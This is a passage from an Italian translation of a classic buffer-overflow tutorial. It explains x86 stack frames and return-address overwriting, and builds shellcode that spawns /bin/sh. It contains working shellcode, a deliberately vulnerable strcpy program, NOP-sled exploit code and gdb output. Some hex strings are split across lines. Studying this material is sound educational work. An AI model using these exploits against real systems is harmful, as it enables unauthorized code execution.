basso (verso gli indirizzi dimemoria inferiori), o verso l' alto. Nei
nostri esempi useremo uno stack che cresce verso il basso. Questa e'
la direzione in cui lo stack di molti computer cresce, inclusi
processori Intel, Motorola, SPARC e MIPS. Anche lo stack pointer
e' dipendente dall' implementazione. Puo' puntare all' ultimo
indirizzo dello stack o al prossimo indirizzo disponibile dopo lo
stack. Per la nostra discussione assumeremo che punti all' ultimo
indirizzo dello stack.
Oltre allo stack pointer, che punta alla cima dello stack (indirizzi
inferiori), e' spesso conveniente avere un fame pointer (FP) che
punta ad una locazione fissa con un frame. Alcuni testi si riferiscono
ad esso come local base pointer (LB). Per pricipio, le variabili locali
possono essere referenziate prendendo il loro offset da SP. Comunque,
mentre le parole sono pushate sullo stack e popate da esso questi
offsets cambiano. Benche' in alcuni casi il compilatore puo' tenere
traccia del numero di parole sullo stack e quindi correggere gli
offset, in altri casi non puo', e in tutti i casi una considerevole
amministrazione e' richesta. Inoltre, su alcune macchine, come quelle
con processori Intel-based, l' accesso ad una variabile ad una distanza
conosciuta da SP richiede piu' istruzioni.
Conseguentemente, molti complatori usano un secondo registro, FP,
per referenziare sia variabili locali che parametri perche' la loro
distanza da FP non cambia dopo piu' PUSH e POP. Sulle CPU Intel,
BP (EBP) e' usato per questo scopo. Sulle CPU Motorola, ogni registro
di inirizzi tranne A7 (lo stack pointer) lo fara'. Per il verso in
cui il nostro stack cresce, i parametri attuali hanno offset positivi
e le variabili locali hanno offset negativi rispetto a FP.
La prima cosa che una funzione deve fare quando e' chiamata e'
salvare il precedente FP (cosi' potra' essere ripristinato all' uscita
dalla funzione). Dopo copia SP in FP per creare il nuovo FP, e invita
SP a riservare spazio per le nuove variabili.
Questo e' chiamato procedure prolog. Dopo l' uscita dalla funzione lo
stack deve essere pulito di nuovo, questo viene chiamato procedure
epilog. Le istruzioni Intel ENTER e LEAVE e le istruzioni Motorola
LINK e UNLINK sono state fornite per far lavorare meglio le procedure
prolog e epilog.
Guardiamo meglio lo stack con un piccolo esempio:
example1.c:
------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------
Per capire cosa il programma fa per chiamare function() lo
compiliamo con gcc usando -S per generare in output del codice assembly:
$ gcc -S -o example1.s example1.c
Guardando l' output in assembly vediamo che la chiamata a function()
si e' trasformata in:
pushl $3
pushl $2
pushl $1
call function
Questo PUSHa i 3 argomenti nello stack, e chiama function(). L'
istruzione 'call' pusha l' instruction pointer (IP) sullo stack.
Chiameremo l' IP salvato 'return address' (RET). La prima cosa fatta
nella funzione e' la procedure prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
Questo pusha EBP, il frame pointer, sullo stack. Poi copia l' SP
corrente su EBP, facendolo diventare il nuovo FP pointer. Questo nuovo
FP lo chiameremo SFP. Poi alloca spazio per le variabili locali
sottraendo la loro grandezza da SP.
Dobbiamo ricordare che puo' essere indirizzata in multipli della
grandezza di una word. Una word nel nostro caso sono 4 byte, o 32 bit.
Cosi' i nostri 5 byte del buffer prenderanno realmente 8 bytes (2 word),
e i nostri 10 byte di buffer prenderanno realmente 12 bytes (3 word) di
memoria. Questo e' perche' SP e' sottratto da 20. Quindi il nostro stack
assomigliera' a questo quando function() sara' chiamata (ogni spazio
rappresenta un byte):
base della cima della
memoria memoria
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
cima dello base dello
stack stack
Buffer Overflows
~~~~~~~~~~~~~~~~
Un buffer overflow si ha mettendo in un buffer piu' dati di quanti
ne puo' contenere. Come puo' questo frequente errore di programmazione
essere sfruttato per eseguire codice arbitrario? Guardiamo quest' altro
esempio:
example2.c
------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------
Questo programma ha una funzione con un tipico errore di
programmazione da buffer overflow. La funzione copia la stringafornita
senza un controllo di lunghezza usando strcpy() invece di strncpy(). Se
esegui questo programma avrai una segmentation violation. Vediamo come
e' il suo stack quando chiamiamo la funzione:
base della cima della
memoria memoria
buffer sfp ret *str
<------ [ ][ ][ ][ ]
cima dello base dello
stack stack
Cosa sta succedendo? Perche' abbiamo una segmentation violation?
Semplice. strcpy() copia il contenuto di *str (large_string[]) in
buffer[] finche' non trova un carattere nullo sulla stringa.
Come possiamo vedere buffer[] e' molto piu' piccolo di *str. buffer[]
e' di 16 byte, e noi stiamo provando a riempirlo con 256 byte.
Questo significa che tutti i 250 byte dopo buffer[] sullo stack saranno
sovrascritti. In questi byte sono inclusi SFP, RET, e persino *str!
Noi abbiamo riempito large_string con il carattere 'A'. Il suo
valore esadecimale e' 0x41. Questo significa che l' indirizzo di
ritorno (RET) e' ora 0x41414141. Questo e' fuori dello spazio del
processo. Questo e' perche' quando la funzione ritorna e cerca di
leggere la prossima istruzione da questo indirizzo abbiamo una
segmentation violation.
Cosi' un buffer overflow ci permette di cambiare l' indirizzo di
ritorno di una funzione. In questo modo possiamo cambiare il flusso
di esecuzione del programma. Ritorniamo al nostro primo esempio e
richiamiamo come era lo stack:
base della cima della
memoria memoria
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
cima dello base dello
stack stack
Proviamo a modificare il nostro primo esempio per fargli
sovrascrivere l' indirizzo di ritorno, e dimostrare come possiamo
eseguire codice arbitrario. Subito prima di buffer1[] sullo stack
c' e' SFP, e prima ancora l' indirizzo di ritorno. Questo e' 4 byte
prima la fine di buffer1[]. Ma ricorda che buffer1[] e' realmente di
2 word quindi lungo 8 byte. Cosi' l' indirizzo di ritorno sta a 12
byte dall' inizio di buffer1[]. Noi modificheremo l' indirizzo di
ritorno in modo che l' assegnamento 'x = 1;' dopo la chiamata di
funzione verra' saltato. Per farlo aggiungiamo 8 byte all' indirizzo
di ritorno. Il nostro codice e' ora:
example3.c:
------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------
Quello che abbiamo fatto e' stato aggiungere 12 all' indirizzo
di buffer1[]. Questo e' l' indirizzo dove l' indirizzo di ritorno e'
situato. Vogliamo saltare l' assegnamento prima della printf().
Come sappiamo di dover aggiungere 8 all' indirizzo di ritorno?
Abbiamo usato un valore di test (ad esempio 1), compilato il programma,
e poi avviato gdb:
------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 : pushl %ebp
0x8000491 : movl %esp,%ebp
0x8000493 : subl $0x4,%esp
0x8000496 : movl $0x0,0xfffffffc(%ebp)
0x800049d : pushl $0x3
0x800049f : pushl $0x2
0x80004a1 : pushl $0x1
0x80004a3 : call 0x8000470
0x80004a8 : addl $0xc,%esp
0x80004ab : movl $0x1,0xfffffffc(%ebp)
0x80004b2 : movl 0xfffffffc(%ebp),%eax
0x80004b5 : pushl %eax
0x80004b6 : pushl $0x80004f8
0x80004bb : call 0x8000378
0x80004c0 : addl $0x8,%esp
0x80004c3 : movl %ebp,%esp
0x80004c5 : popl %ebp
0x80004c6 : ret
0x80004c7 : nop
------------------------------------------------------------------------
Possiamo vedere che al momento di chiamare function() RET e' 0x8004a8,
e noi vogliamo saltare l' assegnamento a 0x80004ab. L' istruzione
successiva che vogliamo eseguire e' all' indirizzo 0x8004b2. Un piccolo
calcolo ci dice che la distanza e' 8 byte.
Shell Code
~~~~~~~~~~
Cosi' ora che sappiamo che possiamo modificare il return address e
il flusso di esecuzione, cosa vogliamo che il programma esegua? Nella
maggior parte dei casi vorremo che esegua semplicemente una shell.
Dalla shell potremo poi lanciare i comandi che vorremo. Ma cosa se non
c'e' tale codice nel programma che stiamo provando ad exploittare?
Come possiamo mettere istruzioni arbitrarie nel suo indirizzo?
La soluzione e' di mettere il codice che stiamo provando ad eseguire
nel buffer che stiamo overflowando, e sovrascrivere il return address
cosi' che possa puntare al buffer. Assumendo che l' inizio dello stack
si trovi all' indirizzo 0xFF, e che S sta per il codice che vogliamo
eseguire lo stack sara' come questo:
base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della
memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
cima dello base dello
stack stack
Il codice per eseguire una shell e' questo:
shellcode.c
------------------------------------------------------------------------
#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
Per vedere come e' in assembly lo compiliamo e eseguiamo gdb.
Ricorda di usare il flag -static. Altrimenti il codice reale per
la system call execve non sara' incluso. Ci sara' invece un
riferimento alla libreria C dinamica che viene normalmente linkata
in load time.
------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------
Cerchiamo di capire cosa sta succedendo qui. Partiamo studiando la main:
------------------------------------------------------------------------
------
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
Questo e' l' inizio della procedura. Prima salva il vecchio frame
pointer, fa diventare il corrente stack pointer il nuovo frame pointer,
e crea lo spazio per le variabili locali. In questo caso:
char *name[2];
o 2 puntatori char. I puntatori sono lunghi come una word, quindi in
questo caso occupano lo spazio per due word (8 byte).
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
Copiamo il valore 0x80027b8 (l' indirizzo della stringa "/bin/sh")
nel primo puntatore di name[]. Questo e' equivalente a:
name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[].
Questo e' equivalente a:
name[1] = NULL;
La chiamata ad execve parte qui.
0x8000144 : pushl $0x0
Pushamo gli argomenti di execve() in ordine inverso sullo stack.
Partiamo con NULL.
0x8000146 : leal 0xfffffff8(%ebp),%eax
Carichiamo l' indirizzo di name[] nel registro EAX.
0x8000149 : pushl %eax
Pushamo l' indirizzo di name[] sullo stack.
0x800014a : movl 0xfffffff8(%ebp),%eax
Carichiamo l' indirizzo della stringa "/bin/sh" nel registro EAX.
0x800014d : pushl %eax
Pushamo l' indirizzo della stringa "/bin/sh" sullo stack.
0x800014e : call 0x80002bc <__execve>
Chiamata alla procedura di libreria execve(). L' istruzione call
pusha l' IP sullo stack.
------------------------------------------------------------------------
Ora execve(). Ricorda che stiamo utilizzando un sistema Intel su
Linux. I dettagli della syscall cambiano da OS a OS, e da CPU a CPU.
Alcune passano gli argomenti sullo stack, altre sui registri. Alcune
usano degli interrupt software per saltare a kernel mode, altre usano
una far call. Linux passa i suoi argomenti della chiamata di sistema sui
registri, e usa un interrupt software per saltare a kernel mode.
------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
L' inizio della procedura.
0x80002c0 <__execve+4>: movl $0xb,%eax
Copia 0xb (11 decimale) sullo stack. Questo e' l' index
sulla syscall table. 11 e' execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
Copia l' indirizzo di "/bin/sh" su EBX.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
Copia l' indirizzo di name[] su ECX.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
Copia l' indirizzo del puntatore null su %edx.
0x80002ce <__execve+18>: int $0x80
Salta a kernel mode.
------------------------------------------------------------------------
Cosi' come possiamo vedere non c'e' molto sulla system call execve().
Tutto quello che abbiamo bisogno di fare e':
a) Avere la stringa "/bin/sh" da qualche parte in memoria
b) Avere l' indirizzo della stringa "/bin/sh" da qualche parte
in memoria seguita da una long word nulla.
c) Copiare 0xb nel registro EAX.
d) Copiare l' indirizzo dell' indirizzo della stringa "/bin/sh"sul
registro EBX.
e) Copiare l' indirizzo della stringa "/bin/sh" nel registro ECX.
f) Copiare l' indirizzo della long word nulla nel registro EDX.
g) Eseguire l' istruzione int $0x80.
Provando a mettere insieme tutte queste cose in assembly, mettendo
la stringa dopo il codice, e ricordando che dovremo sapere l' indirizzo
della stringa, e mettere una word nulla dopo l' array, abbiamo:
------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb
$0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------
Il problema e' che non sappiamo dove verra' messo il codice (e la
stringa che lo segue) che stiamo provando ad exploittare nello spazio
in memoria del programma. Un modo e' di usare una JMP e una istruzione
CALL. Le istruzioni CALL e JMP possono usare un indirizzamento IP
relativo, il che significa che possiamo saltare ad un offset dal
corrente IP senza la necessita' di saperel' esatto indirizzo in memoria
di dove vogliamo saltare. Se mettiamo un' istruzione CALL prima della
stringa "/bin/sh", e un' istruzione JMP ad essa,
gli indirizzi delle stringhe saranno pushati sullo stack come indirizzo
di ritorno quando CALL verra' eseguita. Tutto quello di cui abbiamo
bisogno e' di copiare l' indirizzo di ritorno in un registro. L'
istruzione CALL chiama semplicemente l' inizio del nostro codice.
Assumendo che J sta per l' istruzione JMP, C per l' istruzione CALL, e s
per la stringa, il flusso di esecuzione sara':
base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della
memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
cima dello base dello
stack stack
Con questa modifica, usando un indirizzamento indexed, e scrivendo
quanti byte prende ogni istruzione il nostro codice sara':
------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------
Calcolando gli offsets da jmp a call, da call a popl, dall' indirizzo
della stringa all' array, e dall' indirizzo della stringa alla word
nulla, abbiamo:
------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------
Per essere sicuri che funziona dobbiamo compilarlo ed eseguirlo.
Ma c'e' un problema. Il nostro codice si modifica da solo, ma molti
sistemi operativi marcano le pagine di codice read-only. Per raggirare
questa restrizione dobbiamo mettere il codice da eseguire nello stack o
nel data segment, e trasferirci il controllo. Per farlo metteremo il
nostro codice in un array globale nel data segment. Abbiamo bisogno di
una rappresentazione esadecimale del codice binario. Compiliamo e usiamo
gdb per ottenerlo.
shellcodeasm.c
------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for detail
s.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : jmp 0x800015f
0x8000135 : popl %esi
0x8000136 : movl %esi,0x8(%esi)
0x8000139 : movb $0x0,0x7(%esi)
0x800013d : movl $0x0,0xc(%esi)
0x8000144 : movl $0xb,%eax
0x8000149 : movl %esi,%ebx
0x800014b : leal 0x8(%esi),%ecx
0x800014e : leal 0xc(%esi),%edx
0x8000151 : int $0x80
0x8000153 : movl $0x1,%eax
0x8000158 : movl $0x0,%ebx
0x800015d : int $0x80
0x800015f : call 0x8000135
0x8000164 : das
0x8000165 : boundl 0x6e(%ecx),%ebp
0x8000168 : das
0x8000169 : jae 0x80001d3 <__new_exitfn+55>
0x800016b : addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 : 0xeb
(gdb)
0x8000134 : 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------
Funziona! Ma c'e' un ostacolo. In molto casi overfloweremo un buffer
di caratteri. Quindi ogni byte nullo nel nostro shellcode sara'
considerato la fine della stringa, e la copia verra' terminata. Non ci
devono essere byte nulli nel nostro shellcode. Proviamo ad eliminare i
byte nulli dallo shellcode (e allo stesso tempo farlo piu' piccolo).
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Il nostro codice migliorato:
shellcodeasm2.c
------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------
E il nostro nuovo programma di test:
testsc2.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0
b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc
d"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------
Scrivere un Exploit
~~~~~~~~~~~~~~~~~~~
(o come mungare lo stack)
~~~~~~~~~~~~~~~~~~~~~~~~~
Proviamo a mettere tutte le nostre cose insieme. Abbiamo lo shellcode.
Sappiamo che deve far parte della stringa che useremo per overfloware il
buffer.
Sappiamo che dobbiamo far puntare l' indirizzo di ritorno al buffer.
Questo esempio dimostra questi punti:
overflow1.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0
b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc
d"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------
Quello che abbiamo fatto sopra e' stato di riempire l' array
large_string[] con l' indirizzo di buffer[], che e' dove il nostro
codice sara'. Dopo copiamo il nostro shellcode all' inizio della stringa
large_string. strcpy() copiera' poi large_string in buffer senza fare
nessun controllo sulla lunghezza, e overflowera'l' indirizzo di ritorno,
sovrascrivendolo con l' indirizzo di dove sta il nostrocodice. Quando
raggiungeremo la fine di main, essa provera' a ritornareal nostrocodice,
ed eseguira' una shell.
Il problema che incontriamo quando proviamo ad overfloware il buffer
di un' altro programma e' provare a vedere a quale indirizzo il buffer
(e il nostro codice) sara'. La risposta e' che per tutti i programmi lo
stack parte allo stesso indirizzo. Molti programmi non pushano piu' di
poche centinaia o migliaia di byte sullo stack in ogni momento. Quindi
sapendo dove parte lo stack possiamo provare ad indovinare dove sta il
buffer che stiamo provando ad overfloware.
Ecco un piccolo programma che stampa il suo stack pointer.
sp.c
------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------
Assumiamo che questo e' il programma che sitamo provando ad overflowa
re:
vulnerable.c
------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------
Possiamo creare un programma che prende come parametro la grandezza
del buffer, e un offset dal suo stack pointer (dove crediamo che il
buffer da overfloware si trovi). Mettiamo la stringa "overflowante" in
una variabile di ambiente cosi' sara' facile da manipolare:
exploit2.c
------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------
Ora possiamo provare ad indovinare il buffer e l' offset:
------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------
Come possiamo vedere non e' una soluzione efficiente. Provare ad
indovinare l' offset e' quasi impossibile. Nel migliore dei casi dovremo
fare cento tentativi, e nel peggiore migliaia. Il problema e' che
dobbiamo indovinare *esattamente* l' indirizzo di dove il nostro codice
inizia. Se ci sbagliamo di un byte in piu' o in meno avremo una
segmentation violation o una invalidinstruction. Un metodo per aumentare
le nostre chanche e' di riempire con istruzioni NOP lo spazio prima del
buffer da overfloware. Quasi tutti iprocessori hanno un' istruzione NOP
che esegue un' operazione nulla. E' di solito usata per funzioni di
delay. Noi la useremo a nostro vantaggio eriempiremo la meta' del nostro
buffer con esse. Metteremo il nostro shellcode al centro, seguito dall'
indirizzo di ritorno. Se siamo fortunati e l' indirizzo di ritorno punta
da qualche parte in mezzo ai NOP, li eseguira' e arrivera' al nostro
codice. Sui processori Intel l' istruzione NOP e' lunga un byte e in
codice macchina diventa 0x90. Assumendo che lo stack parta all'
indirizz o 0xFF, che le S stanno per lo shellcode, e le N per le
istruzioni NOP lo stack sara':
base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della
memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
cima dello base dello
stack stack
Il nuovo exploit sara':
exploit3.c
------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
